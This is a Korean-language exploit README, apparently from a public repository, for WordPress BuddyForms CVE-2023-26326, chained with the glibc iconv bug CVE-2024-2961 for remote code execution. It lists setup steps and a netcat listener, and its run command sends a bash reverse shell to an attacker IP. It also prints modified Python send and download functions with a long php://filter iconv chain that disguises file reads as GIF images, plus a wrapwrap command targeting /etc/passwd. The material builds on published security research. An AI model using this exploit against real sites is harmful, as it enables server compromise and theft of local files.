
WordPress BuddyForms 플러그인의 CVE-2023-26326용 익스플로잇으로, CVE-2024-2961을 활용하여 원격 코드 실행을 수행합니다. 이 익스플로잇은 php://filter와 취약점을 연결하여 PHP 8+ 역직렬화 제한을 우회합니다.
이 작업은 저(Omar Elshopky)와 Nour El Dien Bassiouny가 수행했습니다.
이 저장소는 Joshua Martinelle이 보안 권고에서 처음 보고한 WordPress BuddyForms 플러그인(CVE-2023-26326)에 대한 익스플로잇을 포함합니다. 이 익스플로잇은 Iconv, 문자셋을 RCE로 설정: PHP 엔진을 해킹하기 위해 glibc 익스플로잇하기 블로그에서 제안된 기법을 활용하며, @ambionics가 cnext-exploits 저장소에서 구현했습니다.
원래 CVE-2023–26326은 역직렬화 취약점으로 익스플로잇하기 위해 gadget chain이 필요했습니다. 이 방법은 PHP 8+에서 실행되는 최신 WordPress 사이트에서는 더 이상 사용할 수 없습니다. 그러나 CVE-2024-2961](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)을 연결하면 phar:// 대신 php://filter를 통해 익스플로잇이 가능해집니다.
이 익스플로잇은 cnext-exploit.py 스크립트를 수정하여 생성되었으며, 변경 사항 설명에 설명된 대로 CVE-2023-26326에 필요한 변경 사항을 포함합니다.
git clone https://github.com/omarelshopky/exploit_cve-2023-26326_using_cve-2024-2961.git
cd exploit_cve-2023–26326_using_cve-2024-2961
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
<ATTACKER_PORT>에서 netcat 리스너를 시작합니다:nc -lvnp <ATTACKER_PORT>
python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'


CVE-2024-2961 익스플로잇의 핵심 아이디어는 유지되었지만, 필터 체인을 웹사이트로 전송하고 서버에서 파일을 다운로드하도록 조정하는 수정이 필요했습니다.
원래 익스플로잇에서는 send 함수가 경로를 서버로 보내는 데 사용됩니다:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={"file": path})
WordPress(BuddyForms)의 경우 상호 작용은 기본적으로 /wp-admin/admin-ajax.php에 대한 POST 요청을 통해 이루어지며, 본문 데이터에는 action=upload_image_from_url&url=<INJECT_POINT>&id=1&accepted_files=image/gif가 포함됩니다. URL 매개변수는 필터 체인을 서버로 보내기 위한 인젝션 포인트 역할을 합니다. 이로 인해 send 함수는 다음과 같이 수정되었습니다:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={
"action" : "upload_image_from_url",
"url" : urllib.parse.quote_plus(path),
"id" : "1",
"accepted_files" : "image/gif"
})
원래 익스플로잇에는 서버에서 파일을 다운로드하는 download 함수가 있습니다. 원래 익스플로잇에 사용된 download 함수의 버전은 다음과 같습니다:
def download(self, path: str) -> bytes:
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
return base64.decode(data)
이것을 BuddyForms에 맞게 조정하기 위해 URL에서 이미지 업로드를 처리하는 buddyforms_upload_image_from_url 함수를 분석합니다. 이 함수는 file_get_contents를 사용하고 getimagesize()로 파일 형식을 확인한 다음 콘텐츠를 wp-content/uploads 디렉터리에 저장합니다. 이를 통해 php://filter를 악용하여 로컬 파일을 읽고 업로드 디렉터리에 저장한 후 URL로 접근할 수 있습니다. 그러나 파일 콘텐츠 앞에 GIF89a를 추가하여 GIF인 것처럼 속임으로써 파일 검사를 우회해야 합니다. 이는 필터 체이닝으로 수행할 수 있으며, wrapwrap 도구가 필요한 체인을 생성할 수 있습니다:
git clone https://github.com/ambionics/wrapwrap.git
cd wrapwrap
./wrapwrap.py /etc/passwd 'GIF89a' '' 1000

이렇게 생성된 필터 체인은 원래 스크립트에서 사용된 base64 인코딩을 대체해야 합니다. 또한 응답에서 업로드된 파일 경로를 추출하는 형식은 "response" 속성이 파일 경로로 설정된 JSON 형식을 수용하도록 업데이트해야 합니다.
{"status":"OK","response":"http:\/\/victim.site\/wp-content\/uploads\/2025\/02\/1-106.png","attachment_id":261}
{"status":"FAILED","response":"File type is not allowed."}
GIF89a 접두사는 익스플로잇에서 파일 콘텐츠를 사용하기 전에 제거해야 하며, 그 결과 download 함수는 다음과 같이 수정됩니다:
def download(self, path: str) -> bytes:
# Append prefix "GIF89a" to bypass file type check with getimagesize()
path = f"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={path}"
response_data = self.send(path).json()
if response_data == "FAILED":
print(f"[-] Unable to download files, error message: {response_data['response']}")
exit(0)
file_path = response_data["response"]
# Remove the prefix "GIF89a"
return self.session.get(file_path).content[6:]
libc.so.6 다운로드필터 체인을 사용하여 서버에서 libc.so.6 파일을 다운로드하면 프로세스 중에 바이너리가 수정되므로 제대로 작동하지 않을 수 있습니다. 대신 올바른 파일을 익스플로잇의 루트 디렉터리에 제공해야 합니다.